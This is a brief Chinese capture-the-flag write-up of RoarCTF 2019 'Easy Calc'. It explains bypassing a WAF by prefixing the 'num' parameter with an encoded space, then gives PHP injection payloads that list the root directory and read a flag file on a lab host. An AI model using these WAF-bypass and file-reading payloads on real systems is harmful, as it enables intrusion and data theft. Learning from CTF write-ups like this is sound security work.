[RoarCTF 2019]Easy Calc(WAF+文件读取漏洞)
原理:
在有些服务器解析当中%20(空格)之类的是不会被解析的,所以%20num就会被解析为num
但是在WAF里还是%00num,不是防止绕过的num,所以就不会对num进行注释绕过。
正片:
打开源码

提醒我们使用了WAF,并且发现存在calc.php,那就看看

发现在这个页面里是使用GET获取num的值最开始发现只能输入数字,后面去查才发现WAF绕过:
我们构造payload:
1 | ?%20num=print_r(scandir(chr(47))) |
得到:

发现f1agg
构造:
1 | http://node5.buuoj.cn:27958/calc.php?%20+num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) |
得到flag
